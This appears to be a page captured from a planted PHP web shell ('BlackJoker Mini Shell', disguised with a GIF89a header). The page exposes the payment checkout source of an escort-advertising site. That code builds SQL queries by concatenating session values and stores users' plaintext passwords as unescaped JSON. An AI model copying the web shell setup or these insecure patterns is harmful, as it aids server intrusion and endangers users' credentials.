GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/payment_checkout_pay.php

<?php
	session_start();
	include("lib/globals.php");
	include("lib/common.php");
 	include("lib/functions.php");
	
	if(!isset($_SESSION['SH_ESCORT_ID']))
	{
		header("Location: index.php");
		exit;
	}	
	
	$SITE_URL = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
	$url_array = explode("/",$SITE_URL);
	unset($url_array[count($url_array)-1]);
	$SITE_URL = implode("/",$url_array)."/";
	
	$post_array = array();	
	
	$sh_TRANSACTION_MODE 		= "LIVE";
	
	$payment_sql = "SELECT ft_ad_day,nickname,ad_total_amount FROM `temp_postad` WHERE id = '".$_SESSION['SH_ESCORT_ID']."' AND `status` = 'u'";
	$payment_res = execute_query($payment_sql) or die(mysql_error());
	$payment_row = mysql_fetch_array($payment_res);
	$payment = number_format($featured_ad_day_price_array[$payment_row['ft_ad_day']],2);
	$payee_name = $payment_row['nickname'];
	$payment  = $payment_row['ad_total_amount'];
	
	$ftno_ofweek = $payment_row['ft_ad_day'];
	$no_ofday=explode(' ',$ftno_ofweek);
	$days=$no_ofday[0] * 7;
	
	/*$temp_q = "SELECT ad_price FROM featured_ad_price WHERE no_of_weeks = '".$payment_row['ft_ad_day']."'";
	$temp_res = execute_query($temp_q) or die(mysql_error());
	$temp_row = mysql_fetch_array($temp_res);
	$payment  = $temp_row['ad_price'];*/
		
	if($_REQUEST['gateway'] == "btc")
		$paymet_gateway_url = "https://pwnbill.com/pay_via_bitcoin.php";
	else
		$paymet_gateway_url = "https://pwnbill.com/pay_now.php";
	
	$post_array['__TRANSACTION_MODE__'] 	= $sh_TRANSACTION_MODE;
	$post_array['__GATEWAY_MODE__'] 		= "REDIRECT";
	$post_array['__SITENAME__'] 			= "escortservice";
	$post_array['__PURPOSE__'] 				= "ADD AD";
	$post_array['__PRESENTATION_AMOUNT__']	= $payment;
	$post_array['__PAYEE_NAME__']			= $payee_name;
	$post_array['__DAYS__']					= $days;
	$post_array['__REDIRECT_URL__']			= $SITE_URL."thankyou.php?msg=success";	
	$post_array['__RECORD_ID__'] 			= $_SESSION['SH_ESCORT_ID'];
	$post_array['__PAYMENT_HANDLER_URL__'] 	= $SITE_URL."payment_handler.php";	
	
	if($_REQUEST['gateway'] == "btc")
	{
		$post_array['__PAYMENT_HANDLER_URL__'] 	= $SITE_URL."payment_handler_bitcoin.php";	
		$post_array['__PAYMENT_VIA_CREDITCARD_URL__'] 	= $SITE_URL."payment_checkout_pay.php?gateway=cnp";	
		
		$session_array = array();
		$session_array['reg_username'] = $_SESSION['reg_username'];
		$session_array['reg_pass'] = $_SESSION['reg_pass'];
		$session_array['reg_email'] = $_SESSION['reg_email'];
		$session_array['reg_acctype'] = $_SESSION['reg_acctype'];
		$session_array['countryname'] = $_SESSION['countryname'];
		
		$session_data = json_encode($session_array);
		mysql_query("INSERT INTO `temp_user_data` SET data = '".$session_data."'");
		$post_array['__TEMP_USER_ID__'] = mysql_insert_id();
		
	}
	else
	{
		$post_array['__PAYMENT_HANDLER_URL__'] 	= $SITE_URL."payment_handler.php";	
	}
	
	$payment_token = sh_get_token_from_array($post_array);
	
	header("Location: ".$paymet_gateway_url."?payment_token=".$payment_token);
	exit;
	
	function sh_get_token_from_array($array)
	{
		$json_data = json_encode($array);
		$encoded_data = base64_encode($json_data);
		$encreypted_data = gzdeflate($encoded_data, 9);
		$encoded_data = base64_encode($encreypted_data);
		$double_encoded_data = base64_encode($encoded_data);
		
		$token = $double_encoded_data;
		
		return $token;
		
	}
?>

./BlackJoker Mini Shell 1.0